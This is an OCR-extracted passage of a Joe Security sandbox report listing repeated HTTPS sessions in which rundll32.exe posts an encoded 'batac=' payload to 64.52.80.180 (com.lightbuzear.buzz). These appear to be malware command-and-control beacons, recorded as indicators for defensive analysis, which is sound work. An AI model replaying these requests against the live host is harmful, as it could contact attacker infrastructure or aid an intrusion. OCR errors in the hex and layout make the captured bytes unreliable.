Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination

Destination IP Process

Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe
Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwigOw4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
1ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4d BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:41:16 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8
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kBytes

Direction Data
transferred

Timestamp
2022-08-14 06:41:16 UTC 168 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Session ID Source IP Source Port Destination IP Port Process

101 192.168.2.22 49273 64.52.80.180 443 C:\Windows\System32\rundlI32.exe

kBytes

Direction Data
transferred

Timestamp
2022-08-14 06:41:16 UTC 168 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;

.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

2022-08-14 06:41:16 UTC 168 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOKA4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmMbaa56+RpY TTIOtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4BEWgj+XgsaWzMhC1Y

2022-08-14 06:41:17 UTC 169 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8

2022-08-14 06:41:17 UTC 169 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

: A Destination
Session ID Source IP Source Port Destination IP Port Process

102 192.168.2.22 49274 64.52.80.180 443 C:\Windows\System32\rundlI32.exe

kBytes

Direction Data
transferred

Timestamp
2022-08-14 06:41:17 UTC 169 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;

.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

2022-08-14 06:41:17 UTC 170 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
1ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4d BEWgj+XgsaWzMhC1Y

2022-08-14 06:41:18 UTC 171 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8

2022-08-14 06:41:18 UTC 171 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
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Session ID Source IP
103 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:41:19 UTC 171

2022-08-14 06:41:19 UTC 171

2022-08-14 06:41:19 UTC 172

2022-08-14 06:41:19 UTC 172

Session ID Source IP
104 192.168.2.22
. kBytes
Ti t
tmestamp transferred

2022-08-14 06:41:20 UTC 172

2022-08-14 06:41:20 UTC 173

2022-08-14 06:41:20 UTC 174

2022-08-14 06:41:20 UTC 174

Session ID Source IP

105 192.168.2.22
. kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Source Port

49275

Direction

ouT

ouT

Source Port

49276

Direction

ouT

ouT

Source Port

49277

Direction

Destination

Process
Port

Destination IP

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4d BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:41:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination

Process
Port

Destination IP

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwigOw4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:41:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination

Process
Port

Destination IP

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:41:21 UTC 174 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:41:21 UTC 174 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOKA4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4BEWgj+XgsaWzMhC1Y
2022-08-14 06:41:21 UTC 176 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:21 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:21 UTC 176 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
106 192.168.2.22 49278 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:41:22 UTC 176 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:41:22 UTC 176 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwigw4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4BEWgj+XgsaWzMhC1Y
2022-08-14 06:41:23 UTC 177 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:22 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:23 UTC 177 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. I Destination
Session ID Source IP Source Port Destination IP Port Process
107 192.168.2.22 49279 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp e Direction Data
transferred
2022-08-14 06:41:23 UTC 177 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:41:23 UTC 178 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:41:24 UTC 179 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:24 UTC 179 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
11 192.168.2.22 49183 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:39:37 UTC 19 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:39:37 UTC 20 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:39:38 UTC 21 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:39:37 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:38 UTC 21 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
12 192.168.2.22 49184 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:39:38 UTC 21 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:38 UTC 21

2022-08-14 06:39:39 UTC 22

2022-08-14 06:39:39 UTC 23

Session ID Source IP
13 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:39 UTC 23

2022-08-14 06:39:39 UTC 23

2022-08-14 06:39:40 UTC 24

2022-08-14 06:39:40 UTC 24

Session ID Source IP

14 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:40 UTC 24

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49185

Direction

ouT

ouT

Source Port

49186

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:39 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
74 3276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
